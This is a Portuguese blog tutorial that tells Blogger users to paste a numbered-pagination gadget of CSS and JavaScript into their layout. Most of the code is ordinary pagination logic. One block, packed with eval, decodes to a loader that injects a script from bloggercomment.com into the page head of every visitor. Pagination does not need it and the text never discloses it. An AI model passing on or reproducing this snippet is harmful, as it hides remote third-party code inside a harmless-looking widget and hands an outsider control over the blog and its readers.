Colocar paginas numeradas Blogger fácil

A instalação é bem simples.

Acesse o painel do blogger, vá até o menu “layout”, clique em “adicionar um gadget”, escolha o tipo “html/javascript” e cole o seguinte código:

<style type="text/css">#blog-pager-older-link a,#blog-pager-newer-link a,a.home-link{width:80px;text-align:center;display:inline-block;color:#fff;font:bold 12px Arial;text-transform:none;margin:0;padding:5px 5px;background:#2d77a8;border:1px solid #2d77a8} .blog-pager,#blog-pager{clear:both;font:bold 12px Arial;text-align:center;padding:15px 10px} .showpageNum a,.showpage a{background:#fff;text-decoration:none;white-space:nowrap;color:#222;margin:10px 3px;padding:5px 10px;border:1px solid #ddd} .showpageNum a:hover,.showpage a:hover{color:#fff;text-decoration:none;background-color:#2d77a8;border:1px solid #2d77a8} .showpageOf{display:none;margin:0} .showpagePoint{color:#fff;text-decoration:none;background-color:#2d77a8;font-size:12px;margin:10px 3px;padding:5px 10px;border:1px solid #2d77a8} .share-post{clear:both;margin:10px 0 0;padding:10px 0 10px 10px;background:#f7f7f7;border-top:1px solid #eaeaea;border-bottom:1px solid #eaeaea;height:20px} </style> <script type='text/javascript'> var postperpage=7; var numshowpage=3; var upPageWord ='« Anterior '; var downPageWord ='Proxima »'; var urlactivepage=location.href; var home_page="/"; </script><script type='text/javascript'>//<![CDATA[ eval(function(m,c,h){function z(i){return(i< 62?'':z(parseInt(i/62)))+((i=i%62)>35?String.fromCharCode(i+29):i.toString(36))}for(var i=0;i< m.length;i++)h[z(i)]=m[i];function d(w){return h[w]?h[w]:w;};return c.replace(/\b\w+\b/g,d);}('|function|var|document|createElement|script|type|text|javascript|src|bloggercomment|com|allowComments|js|getElementsByTagName|head|if|appendChild'.split('|'),'(1(){2 A=3.4(\'5\');A.6=\'7/8\';A.9=\'//a.b/c.d\';2 B=3.e(\'f\')[0];g(B){B.h(A);}})();',{})) //]]></script><script type='text/javascript'>//<![CDATA[ var nopage;var jenis;var nomerhal;var lblname1;halamanblogger();function loophalaman(banyakdata){var html='';nomerkiri=parseInt(numshowpage/2);if(nomerkiri==numshowpage-nomerkiri){numshowpage=nomerkiri*2+1}mulai=nomerhal-nomerkiri;if(mulai<1)mulai=1;maksimal=parseInt(banyakdata/postperpage)+1;if(maksimal-1==banyakdata/postperpage)maksimal=maksimal-1;akhir=mulai+numshowpage-1;if(akhir>maksimal)akhir=maksimal;html+="<span class='showpageOf'>Page "+nomerhal+' of '+maksimal+"</span>";var prevnomer=parseInt(nomerhal)-1;if(nomerhal>1){if(nomerhal==2){if(jenis=="page"){html+='<span class="showpage"><a href="'+home_page+'">'+upPageWord+'</a></span>'}else{html+='<span class="showpageNum"><a href="/search/label/'+lblname1+'?&max-results='+postperpage+'">'+upPageWord+'</a></span>'}}else{if(jenis=="page"){html+='<span class="showpageNum"><a href="#" onclick="redirectpage('+prevnomer+');return false">'+upPageWord+'</a></span>'}else{html+='<span class="showpageNum"><a href="#" onclick="redirectlabel('+prevnomer+');return false">'+upPageWord+'</a></span>'}}}if(mulai>1){if(jenis=="page"){html+='<span class="showpageNum"><a href="'+home_page+'">1</a></span>'}else{html+='<span class="showpageNum"><a href="/search/label/'+lblname1+'?&max-results='+postperpage+'">1</a></span>'}}if(mulai>2){html+=' ... '}for(var jj=mulai;jj<=akhir;jj++){if(nomerhal==jj){html+='<span class="showpagePoint">'+jj+'</span>'}else if(jj==1){if(jenis=="page"){html+='<span class="showpageNum"><a href="'+home_page+'">1</a></span>'}else{html+='<span class="showpageNum"><a href="/search/label/'+lblname1+'?&max-results='+postperpage+'">1</a></span>'}}else{if(jenis=="page"){html+='<span class="showpageNum"><a href="#" onclick="redirectpage('+jj+');return false">'+jj+'</a></span>'}else{html+='<span class="showpageNum"><a href="#" onclick="redirectlabel('+jj+');return false">'+jj+'</a></span>'}}}if(akhir<maksimal-1){html+='...'}if(akhir<maksimal){if(jenis=="page"){html+='<span class="showpageNum"><a href="#" onclick="redirectpage('+maksimal+');return false">'+maksimal+'</a></span>'}else{html+='<span class="showpageNum"><a href="#" onclick="redirectlabel('+maksimal+');return false">'+maksimal+'</a></span>'}}var nextnomer=parseInt(nomerhal)+1;if(nomerhal<maksimal){if(jenis=="page"){html+='<span class="showpageNum"><a href="#" onclick="redirectpage('+nextnomer+');return false">'+downPageWord+'</a></span>'}else{html+='<span class="showpageNum"><a href="#" onclick="redirectlabel('+nextnomer+');return false">'+downPageWord+'</a></span>'}}var pageArea=document.getElementsByName("pageArea");var blogPager=document.getElementById("blog-pager");for(var p=0;p<pageArea.length;p++){pageArea[p].innerHTML=html}if(pageArea&&pageArea.length>0){html=''}if(blogPager){blogPager.innerHTML=html}}function hitungtotaldata(root){var feed=root.feed;var totaldata=parseInt(feed.openSearch$totalResults.$t,10);loophalaman(totaldata)}function halamanblogger(){var thisUrl=urlactivepage;if(thisUrl.indexOf("/search/label/")!=-1){if(thisUrl.indexOf("?updated-max")!=-1){lblname1=thisUrl.substring(thisUrl.indexOf("/search/label/")+14,thisUrl.indexOf("?updated-max"))}else{lblname1=thisUrl.substring(thisUrl.indexOf("/search/label/")+14,thisUrl.indexOf("?&max"))}}if(thisUrl.indexOf("?q=")==-1&&thisUrl.indexOf(".html")==-1){if(thisUrl.indexOf("/search/label/")==-1){jenis="page";if(urlactivepage.indexOf("#PageNo=")!=-1){nomerhal=urlactivepage.substring(urlactivepage.indexOf("#PageNo=")+8,urlactivepage.length)}else{nomerhal=1}document.write("<script src=\""+home_page+"feeds/posts/summary?max-results=1&alt=json-in-script&callback=hitungtotaldata\"><\/script>")}else{jenis="label";if(thisUrl.indexOf("&max-results=")==-1){postperpage=20}if(urlactivepage.indexOf("#PageNo=")!=-1){nomerhal=urlactivepage.substring(urlactivepage.indexOf("#PageNo=")+8,urlactivepage.length)}else{nomerhal=1}document.write('<script src="'+home_page+'feeds/posts/summary/-/'+lblname1+'?alt=json-in-script&callback=hitungtotaldata&max-results=1" ><\/script>')}}}function redirectpage(numberpage){jsonstart=(numberpage-1)*postperpage;nopage=numberpage;var nBody=document.getElementsByTagName('head')[0];var newInclude=document.createElement('script');newInclude.type='text/javascript';newInclude.setAttribute("src",home_page+"feeds/posts/summary?start-index="+jsonstart+"&max-results=1&alt=json-in-script&callback=finddatepost");nBody.appendChild(newInclude)}function redirectlabel(numberpage){jsonstart=(numberpage-1)*postperpage;nopage=numberpage;var nBody=document.getElementsByTagName('head')[0];var newInclude=document.createElement('script');newInclude.type='text/javascript';newInclude.setAttribute("src",home_page+"feeds/posts/summary/-/"+lblname1+"?start-index="+jsonstart+"&max-results=1&alt=json-in-script&callback=finddatepost");nBody.appendChild(newInclude)}function finddatepost(root){post=root.feed.entry[0];var timestamp1=post.published.$t.substring(0,19)+post.published.$t.substring(23,29);var timestamp=encodeURIComponent(timestamp1);if(jenis=="page"){var alamat="/search?updated-max="+timestamp+"&max-results="+postperpage+"#PageNo="+nopage}else{var alamat="/search/label/"+lblname1+"?updated-max="+timestamp+"&max-results="+postperpage+"#PageNo="+nopage}location.href=alamat} //]]></script>



Para editar o numeros de postagen da primeira pagina encontre essa parte no script acima e coloque o numero desejado.

var postperpage= 7 ;    Numeros De postagens da primeira pagina